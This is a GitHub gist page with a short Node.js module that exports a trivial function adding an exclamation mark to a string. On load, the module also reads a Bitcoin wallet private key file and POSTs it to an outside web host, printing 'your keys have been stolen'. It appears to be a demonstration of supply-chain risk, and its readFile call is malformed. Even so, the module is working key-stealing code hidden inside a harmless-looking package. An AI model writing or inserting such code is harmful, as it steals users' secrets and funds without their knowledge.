Skip to content

Instantly share code, notes, and snippets.

@katelynsills
Last active August 16, 2020 21:48
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save katelynsills/73fd6ec8c1178d13817d6b40b80c0f3c to your computer and use it in GitHub Desktop.
Save katelynsills/73fd6ec8c1178d13817d6b40b80c0f3c to your computer and use it in GitHub Desktop.
unsafeAddExclamation
'use strict';
const fs = require('fs');
const https = require('https');
fs.readFile('~/.bitcoind/mywallet.privkey'), function read(err, data) {
if (err) {
throw err;
}
const privateKey = data.toString('utf8');
const options = {
hostname: 'jsonplaceholder.typicode.com',
path: '/posts',
method: 'POST',
headers: {
'Content-Type': 'application/json',
}
};
const req = https.request(options, (res) => {
res.on('data', () => {
console.log('Whelp, your keys have been stolen.');
});
});
req.on('error', (e) => {
console.error(e);
});
req.write(JSON.stringify({privateKey: privateKey}));
req.end();
});
const unsafeAddExclamation = str => {
return `${str}!`;
};
module.exports = unsafeAddExclamation;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment